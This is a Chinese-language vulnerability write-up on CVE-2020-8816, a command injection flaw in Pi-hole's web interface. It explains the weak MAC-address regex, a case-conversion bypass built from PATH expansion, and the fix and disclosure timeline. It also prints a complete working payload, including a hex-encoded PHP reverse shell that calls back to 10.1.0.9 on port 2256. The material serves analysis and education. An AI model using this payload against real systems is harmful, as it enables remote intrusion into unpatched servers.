Pi-hole中的远程代码执行漏洞(CVE-2020-8816)
字数 1090 2025-08-25 22:58:29
Pi-hole远程代码执行漏洞(CVE-2020-8816)技术分析与利用教学
漏洞概述
CVE-2020-8816是Pi-hole Web界面中存在的一个远程代码执行漏洞,允许经过认证的用户在服务器上执行任意命令。该漏洞存在于Pi-hole的静态DHCP配置功能中,由于对用户输入的MAC地址验证不充分,导致命令注入攻击成为可能。
影响范围
- 受影响版本:Pi-hole网页界面4.3.2及之前版本
- 影响程度:经过Web门户验证的用户可以像本地用户一样在服务器中执行任意命令
技术背景
Pi-hole是一个用于内容过滤的DNS服务器,同时提供DHCP服务。它是一个DNS沉洞,可在不安装任何客户端软件的情况下保护设备免受有害内容的侵害。
漏洞分析
漏洞位置
漏洞存在于settings.php文件中处理静态DHCP配置的部分,特别是MAC地址验证和处理的代码段。
关键漏洞代码
function validMAC($mac_addr)
{
// Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case)
return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); // 漏洞点
}
漏洞成因
- 不充分的输入验证:
validMAC()函数使用正则表达式验证MAC地址,但该正则过于宽松,允许注入特殊字符 - 直接拼接命令:验证通过后,用户输入直接拼接到shell命令中执行:
exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname);
漏洞利用
利用限制
- 输入会被
strtoupper()函数转换为大写 - Linux命令区分大小写,直接注入如"php -r"会被转换为"PHP -R"而失败
绕过技术
利用环境变量和POSIX Shell参数扩展构造小写命令:
- 利用PATH环境变量:PATH中包含小写字母的路径如
/opt/pihole:/usr/local/sbin... - Shell参数扩展:从PATH中提取所需的小写字母
W=${PATH#/???/} P=${W%%?????:*} # 提取'p' X=${PATH#/???/??} H=${X%%???:*} # 提取'h' Z=${PATH#*:/??} R=${Z%%/*} # 提取'r'
完整Payload
aaaaaaaaaaaa&&W=${PATH#/???/}&&P=${W%%?????:*}&&X=${PATH#/???/??}&&H=${X%%???:*}&&Z=${PATH#*:/??}&&R=${Z%%/*}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202D72202724736F636B3D66736F636B6F70656E282231302E312E302E39222C32323536293B6578656328222F62696E2F7368202D69203C2633203E263320323E263322293B27"));'&&
Payload解析
- 构造
php -r命令:$P$H$P$IFS-$R$IFS→p h p - r - 执行PHP反向shell代码(十六进制编码):
$sock=fsockopen("10.1.0.9",2256); exec("/bin/sh -i <&3 >&3 2>&3");
修复方案
- 官方修复:Pi-hole在4.3.3版本中修复了此漏洞
- 安全建议:
- 严格验证用户输入,使用白名单方式验证MAC地址格式
- 避免直接将用户输入拼接到命令中
- 使用参数化查询或escapeshellarg()等函数处理shell参数
时间线
- 2020年2月10日:漏洞报告给Pi-hole LLC
- 2020年2月10日:Pi-hole确认收到报告
- 2020年2月18日:发布修复版本4.3.3
- 2020年2月19日:漏洞公开披露
总结
CVE-2020-8816展示了输入验证不足和命令注入的风险,特别是在处理网络配置这类敏感功能时。开发者应始终采用最小权限原则和深度防御策略,对用户输入进行严格验证和适当转义。